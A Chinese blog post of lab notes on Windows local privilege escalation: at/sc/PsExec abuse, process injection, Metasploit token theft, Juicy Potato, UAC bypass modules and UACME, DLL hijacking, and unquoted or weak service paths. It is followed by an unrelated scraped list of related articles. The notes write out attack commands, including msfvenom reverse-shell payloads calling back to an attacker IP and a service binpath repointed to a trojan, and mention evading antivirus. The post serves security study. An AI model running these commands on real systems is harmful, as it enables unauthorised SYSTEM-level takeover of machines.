本地提权【笔记总结】

文章目录

  • 服务命令
      • at命令提权
          • 介绍
          • 适用版本
          • 复现
      • sc命令提权
          • 介绍
          • 适用版本
          • 复现
      • ps应用程序提权
          • 复现
  • 进程注入
      • 进程迁移注入
          • 介绍
          • 条件
          • 复现
      • MSF自动化注入
          • 介绍
          • getsystem
            • 原理
          • 复现
  • MSF令牌窃取
          • 介绍
          • 复现
      • 烂土豆提权
          • 介绍
          • 适用版本
          • 复现
  • UAC绕过
      • 介绍
      • 复现
          • 使用`ask模块`绕过
          • 使用`bypassuac_sluihijack`模块绕过
          • 使用`bypassuac_silentcleanup`模块绕过
          • UACME工具绕过
            • 工具下载
            • 复现
  • DLL劫持提权
      • 介绍
      • 原理
          • DLL替换
          • 路径不带引号绕过
      • 复现
          • DLL劫持
          • 路径不带引号绕过
  • 不安全服务
      • 介绍
      • 利用方式
      • 复现

服务命令

  1. at命令提权

    1. 介绍
      1. at命令是一个计划命令,可以在规定时间完成一些操作,这个命令调用system权限。
    2. 适用版本
      1. Win2000&Win2003&XP中还是存在的,在Win7以后被剔除当我们拿到低权限的用户,通过连接上服务器后,可以通过at命令来进行本地提权。
    3. 复现
      1. 直接使用at 21:00 /interactive cmd命令,成功就会弹出黑窗口即使system权限
  2. sc命令提权

    1. 介绍
      1. sc是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于控制面板中管理工具项中的服务。
    2. 适用版本
      1. windows7、8、03、08、12、16(win2003 ok其他未测基本失败)
    3. 复现
      1. 创建服务,直接使用以下命令其中一条即可

        1.  sc create syscmd binPath= "cmd /K start" type= own type= interact start= demand error= normalsc Create syscmd binPath="cmd /K start" type = own type = interact
          
      2. 启动该服务,sc start stscmd

        1. image
  3. ps应用程序提权

    1. 复现
      1. 直接将PsExec.exe上传至靶机之后,运行PsExec.exe -accepteula -s -i -d cmd命令即可

        1. 工具地址:https://pan.baidu.com/s/1qnZOprljTBwFnt06TCEsWA?pwd=cong
        2. image
      2. 有些计算机是直接弹出有些还需要点击,这与UAC的值相关

进程注入

  1. 进程迁移注入

    1. 介绍
      1. 进程迁移注入提权就是将获取到权限低的进程注入至进程中权限高的中,这样就实现了权限提升,同时注入进程提权相当于开启了一个后门, 隐蔽性极高,不会创建新的进程,很难发现。
    2. 条件
      1. 这里如果使用的是web权限是无法执行的,必须获取到类似与administrator的权限才能进行进程注入。同时这类提权是不会被杀毒软件拦截的,这是系统的一种特性。
    3. 复现
      1. 首先上传pinjector.exe工具

        1. 工具地址:https://pan.baidu.com/s/1S41aqaaEFsQ_ZrNvrWss1w?pwd=cong
      2. 使用工具列出所有进程pinjector.exe -l

        1. image
      3. 选择一个system权限运行的进程,对此pid进程执行注入,并建立侦听端口pinjector.exe -p <pid> cmd <port>

        1. image
  2. MSF自动化注入

    1. 介绍
      1. 这个提权其实很简单,这个MSF自动化提权和之前在溢出提权中提到的自动化提权是不一样的,溢出提权中提到的自动化提权是通过比对补丁信息进行提权,而这个是自动化提权是直接输入命令后,MSF自动执行,只会显示提权成功与失败。
    2. getsystem
      1. 原理
        1. getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道。
        2. getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接。
        3. Windows服务已启动,导致与命名管道建立连接。
        4. 该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。
      2. 复现
        1. 连接上了直接使用getsystem即可

MSF令牌窃取

  1. 介绍
    1. 首先需要生成一个木马然后让其上线,并连接上去,这里我就用之前已经生成好的木马,就不再生成了,在上面也提到过MSF生成木马的命令。
  2. 复现
    1. 先用msf生成后门,连接后门

    2. 使用一下命令即可

      1.  use incognitolist_tokens -u           #列出有的令牌impersonate_token "NT AUTHORITY\SYSTEM"    #窃取system令牌
        
      2. image
  3. 烂土豆提权

    1. 介绍
      1. 烂土豆(Rotten Potato) MS16-075 提权是一个本地提权,只针对本地用户,不支持域用户。

        欺骗 “NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端,对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的,模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。

    2. 适用版本
      1. Windows 7/8/10,Windows server 2008/2012
    3. 复现
      1. 将工具上传至靶机

        1. 工具下载;Release Fresh potatoes · ohpe/juicy-potato (github.com)
      2. 使用msf工具执行以下命令

        1.  execute -cH -f ./potato.exe    ##执行烂土豆程序use incognito                  ##加载窃取功能list_tokens -u                 ##查看可窃取的令牌impersonate_token "NT AUTHORITY\SYSTEM"   ##使用令牌
          
      3. image

UAC绕过

  1. 介绍

    1. UAC(User Account Control,用户帐户控制)是微软为提高系统安全而在Windows Vista中引入的新技术,它要求用户在执行可能会影响计算机运行的操作或执行更改影响其他用户的设置的操作之前,提供权限或管理员‌密码。
    2. 也就是说一旦用户允许启动的应用程序通过UAC验证,那么这个程序也就有了管理员权限。如果我们通过某种方式劫持了通过用户UAC验证的程序,那么相应的我们的程序也就实现了提权的过程。
    3. 使用msconfig命令即可打开查看
  2. 复现

    1. 使用ask模块绕过
      1. 搜索UAC,search uac,找一个喜欢的模块进行攻击

        1. image
      2. 选好模块之后执行以下命令

        1.  use exploit/windows/local/ask    ##选择模块sessions         ##查看后台进程set session 1    ##选择进程set lport 5555   ##设置监听端口,有时候返回回来会出现错误,所以就另起一个监听。
          
      3. image

    2. 使用bypassuac_sluihijack模块绕过
      1. 直接使用以下命令

        1.  use exploit/windows/local/bypassuac   ##选择bypasssessions         ##选择会话set session 1    ##设定会话set lport 5555   ##设定反弹端口,这里不设置也可以,但是有时候直接反弹回来,会出现反弹不成功的情况。run  ##执行
          
    3. 使用bypassuac_silentcleanup模块绕过
      1. 直接使用以下命令即可

        1.  use exploit/windows/local/bypassuac_silentcleanup   ##选择模块sessions    ##选择会话set session 5   ##设置会话set lport 6666  ##设置监听端口run   ##执行
          
    4. UACME工具绕过
      1. 工具下载
        1. 老版工具:https://pan.baidu.com/s/1rTzxW60frZL65Q_6Nz10XQ?pwd=cong
        2. 新版需要自己编译:UACMe
      2. 复现
        1. 这个工具挺牛的,竟然把我本机给提权了

        2. 使用msf生成后门进行监听5577端口

        3. 将工具上传至靶机,使用以下命令Akagi64.exe 41 D:\Desktop\UACME-Akagi\cong.exe,这个数字是使用第几个模块,通过不断尝试,在41模块中可以进行提权,61模块也不错

          1. image
          2. image

DLL劫持提权

  1. 介绍

    1. DLL劫持是一种安全攻击技术,它利用Windows操作系统在加载动态链接库(DLL)时的行为特点。在这种攻击中,攻击者将恶意的DLL文件放置在操作系统或应用程序预期加载合法DLL的位置。当应用程序或操作系统尝试加载其所需的DLL时,由于路径或加载顺序的问题,系统会错误地加载攻击者提供的恶意DLL。这可以使攻击者执行任意代码,从而实现提权或其他恶意行为。此技术常被用于绕过安全限制,获取更高的系统权限,或在系统中植入恶意软件。
  2. 原理

    1. DLL替换
      1. Windows 程序启动的时候需要 DLL。如果这些 DLL 不存在,则可以通过在应用程序要查找的位置放置恶意 DLL 来提权。通常,Windows 应用程序有其预定义好的搜索 DLL 的路径。

        它会根据下面的顺序进行搜索:

        1、应用程序加载的目录
        2、C:\Windows\System32
        3、C:\Windows\System
        4、C:\Windows
        5、当前工作目录 Current Working Directory,CWD
        6、在 PATH 环境变量的目录(先系统后用户)

        程序运行一般会加载系统dll或本身程序自带的dll,如果我们将程序执行时需要加载的dll文件替换成程序,那么我们下次在启动程序时所加载的dll就是我们替换的那个木马程序了。

    2. 路径不带引号绕过
      1. 当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行路径,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。
      2. 不过这个确实局限性还是很大的,比如虚拟机中没有找到这样的情况,实体机没有找到,客户现场机器也没找到…同时还有一个问题是就算有,很多都是在C盘中,如果基本权限不够大,那么也凉凉,也用不了。
  3. 复现

    1. DLL劫持
      1. 工具下载: https://pan.baidu.com/s/1CQtyIl_utGbAAa5VrJdCzg?pwd=cong

      2. 首先先收集dll文件

        1. 这里会出现一个问题,没有远程桌面我们如何收集,这里其实有个很简单的办法就是,通过上线普通木马后,看看能不能查看有存在哪些服务,然后找到相关服务本地安装,安装后使用火绒剑等工具进行查找加载的dll文件即可。

          像系统文件加载的dll我们是动不了的,我们一般能懂的都是未知文件和数字签名文件。

        2. image

      3. 使用工具检测是否可以进行劫持

        1. image
      4. 通过msf生成后门dll文件,msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.20 lport=5577 -f dll >libeay32.dll

      5. 使用msf监听5577端口

      6. 当靶机使用ftp时自动触发后门

    2. 路径不带引号绕过
      1. 通过wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """命令来寻找是否存在不带引号具有空格的特征

        1. image
        2. image
      2. 利用msf生成后门,msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.72.130 LPORT=5577 -f exe -o Microsoft.exe

      3. 启动监听,重启服务即可

      4. 没有独显成功,即使将杀毒软件关闭,系统也会自动清理掉这个病毒,因该需要做下免杀

不安全服务

  1. 介绍

    1. Windows服务有时被配置为与服务本身或与服务运行的目录相关的弱权限。这可能允许攻击者操纵服务,以便在其启动时执行任意代码,并将权限提升到SYSTEM。
  2. 利用方式

    1. 将服务的 binpath 更改为我们上传的木马文件路径,以便在服务启动时执行恶意代码从而获得system权限,这里可以利用accesschk.exe工具辅助实现。
    2. accesschk是一个windows系统配置检查工具,用于查看文件、注册表项、服务、进程、内核对象等的有效权限。该工具将有助于识别当前用户是否可以修改某个服务目录中的文件,由于它是微软官方出品,我们将其上传至靶机,执行不会受到阻碍。
  3. 复现

    1. 工具下载:accesschk.exe

    2. 查看工具帮助,accesschk.exe /accepteula

      1. image
    3. 查看用户可以修改哪些服务的权限,accesschk.exe -uwcqv "Administrators" *

      1. image
    4. 修改服务路径,sc config napagent binpath= "C:\Microsoft.exe"(Microsoft.exe为木马)

      1. image
    5. 启动监听和启动服务

      1. image
      2. 并不是system服务,其次很容易掉线,可能是选错了服务

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/147662.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

NLP 主流应用方向

主流应用 文本分类文本匹配序列标注生成式任务 应用细分 文本纠错话者分离 本质为文本分类任务数字归一化 实现数字映射&#xff0c;提高内容可读性 如将一九九九转1999

乱弹篇(53)丹桂未飘香

今天是2024年“秋分”节气&#xff0c;也是第7个中国“农民丰收节”&#xff0c;本“人民体验官”推广人民日报官方微博文化产品《文化中国行看丰收之美》。 截图&#xff1a;来源“人民体验官”推广平台 人民微博说&#xff1a;“春华秋实&#xff0c;岁物丰成。”又说&#…

双指针经典题目

目录 1089. 复写零 法一&#xff1a;用栈实现 法二&#xff1a;用双指针 202. 快乐数 11. 盛最多水的容器 611. 有效三角形的个数 LCR 179. 查找总价格为目标值的两个商品 15. 三数之和 18. 四数之和 1089. 复写零 题目链接&#xff1a;1089. 复写零 - 力扣&#xff…

【模板进阶】类模板中可变参的特殊继承方式

本篇博客主要介绍在类模板中可变参数的特殊继承方式和展开方式。 回顾之前的可变参展开&#xff1a;可变参模板 一、父类 首先&#xff0c;我们有一个父类&#xff0c;是一个可变参类模板&#xff0c;如下&#xff1a; //父类 template<typename...Args> class myclass…

windows cuda12.1 pytorch gpu环境配置

安装cuda12.1 nvcc -V conda创建pythong3.10环境 conda create -n llama3_env python3.10 conda activate llama3_env 安装pytorch conda install pytorch torchvision torchaudio pytorch-cuda11.8 -c pytorch -c nvidia gpu - Pytorch version for cuda 12.2 - Stack Ov…

MySQL面试不翻车指南:轻松掌握数据库秘籍

写在前面 &#x1f525;我把后端Java面试题做了一个汇总&#xff0c;有兴趣大家可以看看&#xff01;这里&#x1f449; ⭐️在无数次的复习巩固中&#xff0c;我逐渐意识到一个问题&#xff1a;面对同样的面试题目&#xff0c;不同的资料来源往往给出了五花八门的解释&#…

大屏幕导入名单电话等数据滚动抽奖制作教程_姓名电话号码数字滚动抽奖产品

原文地址 在当今数字化时代&#xff0c;抽奖活动也紧跟潮流&#xff0c;不断进行创新。导入数据滚动抽奖产品就是其中一种令人耳目一新的抽奖方式&#xff0c;它不仅提高了抽奖的公平性和透明度&#xff0c;还给参与者带来了全新的体验。导入数据滚动抽奖产品的优势&#xff1a…

[Linux]常用操作指令

实用指令 1.指定运行级别 查看当前运行级别 切换运行级别 设置默认运行级别 2.找回root密码 3.帮助指令 查看ls命令的帮助信息 列出文件, 包含隐藏文件 单行展示信息 命令可以组合使用 获得cdn内置命令的帮助信息 4.文件目录指令 5.组管理和权限管理 所有者 所在组

鸿蒙 WebView 如何 Debug

前置&#xff1a; hdc chrome //----------------------------------------------------------------------------------------------- hdc shell cat /proc/net/unix | grep devtools 0: 00000002 0 10000 1 1 81134005 webview_devtools_remote_62479exit执行&…

【java面经速记】Mysql和ES数据同步

目录 Mysql业务数据库 ES查询数据库 数据同步方案 同步双写 异步双写&#xff08;MQ方式&#xff09; 基于Mysql的定时扫描同步 基于Binlog实时同步 使用canal监听binlog同步数据到es&#xff08;流行方案&#xff09; 拓展:mysql的主从复制原理 canal原理&#xff1a…

通信工程学习:什么是NFVI网络功能虚拟化基础设施层

NFVI&#xff1a;网络功能虚拟化基础设施层 NFVI&#xff08;Network Functions Virtualization Infrastructure&#xff09;即网络功能虚拟化基础设施层&#xff0c;是NFV&#xff08;Network Functions Virtualization&#xff0c;网络功能虚拟化&#xff09;架构中的一个重要…

PS相关操作记录

1. 磨皮步骤 1.1. 图层操作 先对照片进行去瑕疵、液化等操作&#xff0c;操作完的图层&#xff0c;重命名为液化&#xff0c;方便识别。复制两个图层&#xff0c;分别改为“低频”、“高频”&#xff0c;低频在下&#xff0c;高频在上。选中“低频”图层&#xff0c;滤镜 -&g…

midjourney 网页版收费页面

网页版体验了一个月&#xff0c;感觉确实方便很多 midjourney 网页版地址https://www.midjourney.com/archive 主要是左下角进行相关设置 付费以后&#xff0c;记得在edit里面取消续费&#xff0c;取消后如图所示&#xff0c;我这个月用完&#xff0c;这个时间是即时的&…

嵌入式C语言自我修养:GNU C编译器扩展语法精讲

在Linux内核的源码中&#xff0c;你会发现许多这样的“奇特”代码。它们看起来可能有点陌生&#xff0c;但它们实际上是C语言的一种扩展形式&#xff0c;这种扩展在C语言的标准教材中往往不会提及。这就是为什么你在阅读Linux驱动代码或内核源码时&#xff0c;可能会感到既熟悉…

java sdk下载,解决下载了java但是编译不了

直接搜Java得到的网站使用不了的 应该只是个功能包或者版本太低用不了 得去oracle公司搜java这个产品去下载

MySQL中去除重复

除去相同的行 SELECT DISTINCT 列名 FROM 表名; 示例&#xff1a;查询employees表&#xff0c;显示唯一的部门ID select distinct department_id from employees;

心理教育辅导系统:Spring Boot技术实现

4 系统设计 4.1系统概要设计 高校心理教育辅导系统主要分为管理员、教师和学生三个角色&#xff0c;系统采用B/S结构(Browser/Server,浏览器/服务器结构)和基于Web服务两种模式&#xff0c;是一个适用于Internet环境下的模型结构。只要用户能连上Internet&#xff0c;便可以在任…

论文阅读:Omni-Kernel Network for Image Restoration

论文地址&#xff1a;https://ojs.aaai.org/index.php/AAAI/article/view/27907 项目地址&#xff1a;https://github.com/c-yn/OKNet 发表时间&#xff1a;2024 图像恢复的目的是从一个退化的低质量的观测中重建一个高质量的图像。最近&#xff0c;Transformer模型由于其强大…

本地快速部署一个简洁美观的个人Halo博客网站并发布公网远程访问

文章目录 前言1. Docker部署Halo1.1 检查Docker版本如果未安装Docker可参考已安装Docker步骤&#xff1a;1.2 在Docker中部署Halo 2. Linux安装Cpolar2.1 打开服务器防火墙2.2 安装cpolar内网穿透 3. 配置Halo个人博客公网地址4. 固定Halo公网地址 前言 本文主要介绍如何在Cen…

[系列]参数估计与贝叶斯推断

系列 点估计极大似然估计贝叶斯估计&#xff08;统计学&#xff09;——最小均方估计和最大后验概率估计贝叶斯估计&#xff08;模式识别&#xff09;线性最小均方估计最小二乘估计极大似然估计&贝叶斯估计极大似然估计&最大后验概率估计线性最小均方估计&最小二乘…